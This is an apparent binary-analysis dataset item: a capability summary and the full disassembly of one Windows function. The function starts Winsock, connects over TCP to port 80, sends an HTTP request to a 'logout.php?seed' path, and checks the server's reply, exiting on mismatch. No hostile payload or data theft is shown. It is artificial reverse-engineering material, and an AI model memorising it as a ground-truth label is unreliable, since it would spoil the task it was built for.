Function at 0x406250
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43835c
mov eax, dword fs:[0]
push eax
sub esp, 0x250
mov eax, dword [0x44d958]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
push 0x3e8
push 0
push 0x636fb0
call fcn.00430eb0
add esp, 0xc
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea eax, [ebp - 0x80]
push eax
call fcn.004054c0
add esp, 4
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
push 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push 0x43a747
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.004028e0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x58]
xorps xmm0, xmm0
push str._logout.php__seed
push eax
movups xmmword [ebp - 0x68], xmm0
call fcn.004045a0
mov byte [ebp - 4], 2
push 0x43b5d8
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.0040f280
mov byte [ebp - 4], 3
push esi
push eax
lea eax, [ebp - 0xc8]
push eax
call fcn.0040f280
mov byte [ebp - 4], 4
push 0x43b5d0
push eax
lea eax, [ebp - 0xb0]
push eax
call fcn.0040f280
mov byte [ebp - 4], 5
push edi
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.0040f280
add esp, 0x3c
mov esi, eax
mov byte [ebp - 4], 6
lea eax, [ebp - 0x28]
cmp eax, esi
je 0x406389
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x40636e
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.004029e0
push esi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.00404750
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x84]
cmp eax, 0x10
jb 0x4063ab
inc eax
lea ecx, [ebp - 0x98]
push eax
push dword [ebp - 0x98]
call fcn.004029e0
mov dword [ebp - 0x84], 0xf
mov dword [ebp - 0x88], 0
mov byte [ebp - 0x98], 0
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x9c]
cmp eax, 0x10
jb 0x4063e8
inc eax
lea ecx, [ebp - 0xb0]
push eax
push dword [ebp - 0xb0]
call fcn.004029e0
mov dword [ebp - 0x9c], 0xf
mov dword [ebp - 0xa0], 0
mov byte [ebp - 0xb0], 0
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0xb4]
cmp eax, 0x10
jb 0x406425
inc eax
lea ecx, [ebp - 0xc8]
push eax
push dword [ebp - 0xc8]
call fcn.004029e0
mov dword [ebp - 0xb4], 0xf
mov dword [ebp - 0xb8], 0
mov byte [ebp - 0xc8], 0
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x406459
inc eax
lea ecx, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
call fcn.004029e0
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x40], 0
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x44]
cmp eax, 0x10
jb 0x406484
inc eax
lea ecx, [ebp - 0x58]
push eax
push dword [ebp - 0x58]
call fcn.004029e0
lea eax, [ebp - 0x28]
mov dword [ebp - 0x44], 0xf
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x48], 0
push 0x43b624
push eax
mov byte [ebp - 0x58], 0
call fcn.004045a0
mov byte [ebp - 4], 7
push 0x43b5f4
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.0040f280
add esp, 0x18
mov esi, eax
mov byte [ebp - 4], 8
lea eax, [ebp - 0x28]
cmp eax, esi
je 0x4064fb
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x4064e0
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.004029e0
push esi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.00404750
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x44]
cmp eax, 0x10
jb 0x406514
inc eax
lea ecx, [ebp - 0x58]
push eax
push dword [ebp - 0x58]
call fcn.004029e0
mov dword [ebp - 0x44], 0xf
mov dword [ebp - 0x48], 0
mov byte [ebp - 0x58], 0
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x40653f
inc eax
lea ecx, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
call fcn.004029e0
lea eax, [ebp - 0x258]
mov dword [ebp - 0x2c], 0xf
push eax
push 0x202
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x40], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x406586
push 0x40030
push 0x43b640
push 0x43b658
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 0x258]
cmp al, 2
jne 0x4067ab
shr eax, 8
cmp al, 2
jne 0x4067ab
xorps xmm0, xmm0
push 0x50
movups xmmword [ebp - 0x68], xmm0
call dword [sym.imp.WS2_32.dll_htons]
push 0x33
mov word [ebp - 0x66], ax
mov eax, 2
push 0x37
push 0x36
mov word [ebp - 0x68], ax
call fcn.004061f0
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x4065f5
push 0x40030
push 0x43b6a4
push 0x43b6bc
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, esi
mov dword [ebp - 0x64], eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406604
sub ecx, edx
push ecx
push 0
push esi
call fcn.00430eb0
push esi
call fcn.0042eb77
add esp, 0x10
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
mov dword [ebp - 0x25c], esi
cmp esi, 0xffffffff
jne 0x406649
push 0x40030
push 0x43b6d8
push 0x43b6f0
jmp 0x4065de
call fcn.00404a50
test eax, eax
je 0x40668a
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00402270
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x80]
call fcn.00402270
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042eb7c
mov esp, ebp
pop ebp
ret
push 0x10
lea eax, [ebp - 0x68]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
mov edi, eax
call fcn.00404a50
test eax, eax
jne 0x406652
cmp edi, 0xffffffff
jne 0x4066b3
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call fcn.004057d0
call fcn.00404a50
test eax, eax
jne 0x406652
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push 0
push dword [ebp - 0x18]
cmovae eax, dword [ebp - 0x28]
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
call fcn.00404a50
test eax, eax
jne 0x406652
push eax
push 0x3e8
push 0x636fb0
push esi
call dword [sym.imp.WS2_32.dll_recv]
call fcn.00404a50
test eax, eax
jne 0x406652
mov ecx, 0xfa
mov esi, 0x636fb0
mov edi, 0x636bc8
push 0x43b700
rep movsd dword es:[edi], dword [esi]
push 0x636bc8
call fcn.00431100
add esp, 8
test eax, eax
je 0x406743
push 0x40030
push 0x43b724
push 0x43b73c
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4065ed
push 0x300
mov ecx, 0xfa
mov esi, 0x636fb0
mov edi, 0x636bc8
push 0
rep movsd dword es:[edi], dword [esi]
push 0x636fb0
call fcn.00430eb0
add esp, 0xc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 0x25c]
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00402270
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x80]
call fcn.00402270
mov eax, 1
jmp 0x40666f
push 0x40030
push 0x43b66c
push 0x43b684
jmp 0x4065de